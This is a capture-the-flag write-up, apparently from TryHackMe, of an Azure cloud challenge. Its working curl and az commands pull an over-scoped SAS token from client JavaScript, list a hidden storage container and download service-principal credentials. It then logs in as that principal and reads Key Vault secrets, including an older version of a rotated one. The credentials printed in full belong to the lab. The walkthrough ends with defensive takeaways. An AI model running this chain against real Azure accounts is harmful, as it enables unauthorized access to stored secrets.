TryHackMeMedium

Hacker Holidays — Day 9: Crypto Cabana

An Azure static website leaks an over-scoped account SAS token, which exposes a hidden storage container holding service-principal credentials — and from there, a Key Vault secret whose "rotated" value is still recoverable in its previous version.

Dark blue hooded mascot wearing sunglasses and a gold Bitcoin chain

Event: Hacker Holidays — The Byte Lotus Hotel · Day 9 · Cloud (Azure — Storage + Key Vault) Target: https://cryptocabanaf5scjagc.z13.web.core.windows.net/

The Chain at a Glance

  1. Static-website app.js leaks an over-scoped account SAS token.
  2. The SAS (srt=sco, sp=rl) lets you list all containers → find a hidden vault container.
  3. vault holds a service principal’s credentials + Key Vault name.
  4. Log in as the SP → Key Vault holds three flag shards; shard-2 was rotated.
  5. Read the previous secret version of shard-2 → reassemble the flag.

Matches the briefing: “what the kiosk is quietly trusting to reach into storage” (the SAS/SP), “a vault that won’t give up the real values on the first ask” (Key Vault secret versioning), and @0xMia’s “if a value looks freshly rotated, ask what it looked like five minutes before.”

Step 1 — What the Kiosk Hands Out for Free

The site is an Azure Static Website on a Storage Account. Its only script leaks the credential:

curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31...&sig=ZAo05W8KX...";

The SAS is badly over-scoped:

  • ss=b blob service, srt=sco = service + container + object
  • sp=rl = read + list, valid until 2099

srt including s (service level) means it can list every container in the account, not just backups.

Step 2 — Follow the Trust the Page Never Points To

SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&$SAS"
# Containers: $web, backups, vault   <-- "vault" is never referenced by the site

List the hidden vault container:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&$SAS"
# backup-service-account.json , seed_phrase.txt

Download both:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?$SAS"
{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}

seed_phrase.txt contains a 12-word phrase — a decoy (the real value lives in the Key Vault).

Step 3 — Authenticate as the Service Principal

az login --service-principal \
  -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  -p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

Step 4 — Read the Key Vault Secrets

az keyvault secret list --vault-name ccabana-kv-f5scjagc -o table
# key-shard-1, key-shard-2, key-shard-3, master-key
for s in key-shard-1 key-shard-2 key-shard-3; do
  echo "== $s =="; az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "$s" --query value -o tsv
done
== key-shard-1 == THM{redacted...
== key-shard-2 == Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
== key-shard-3 == ...redacted}

(master-key returns Forbidden — a rabbit hole; the SP isn’t authorised for it.) The flag is the three shards concatenated, but shard-2 was rotated to a placeholder.

Step 5 — Recover the Previous Secret Version

Azure Key Vault keeps every prior version of a secret. Read the older version of key-shard-2:

OLD=$(az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 \
  --query "sort_by([], &attributes.created)[0].id" -o tsv)
az keyvault secret show --id "$OLD" --query value -o tsv
# (recovered middle segment of the flag)

Flag

key-shard-1 + key-shard-2 (old ver) + key-shard-3 = THM{redacted}

(“Not your keys, not your coins” — the flag confirms the theme once reassembled.)

Takeaways

  • A SAS token in client-side JS is a public credential. Anything in app.js is anonymous-readable. This one only needed to write to backups, but was minted with srt=sco + list over the whole account until 2099 — so it exposed every container. Scope SAS to the exact container/permission/lifetime (sp=w, single container, short expiry), or use user-delegation SAS.
  • Don’t store service-principal creds in a blob. A read-list SAS turned into full SP access → Key Vault. Secrets belong in Key Vault with managed-identity access, never in a downloadable JSON.
  • Key Vault secret versioning is a data-recovery path. “Rotating” a secret does not delete the old value — list-versions + show --id reads any prior version. If a secret ever leaks, rotating isn’t enough; you must disable/destroy old versions (or the leaked value stays retrievable by anyone with get).
  • Recon-from-client-code wins again: the entire foothold was one curl of app.js. ARM enumeration (az resource list) was empty — the path was the leaked SAS, not RBAC.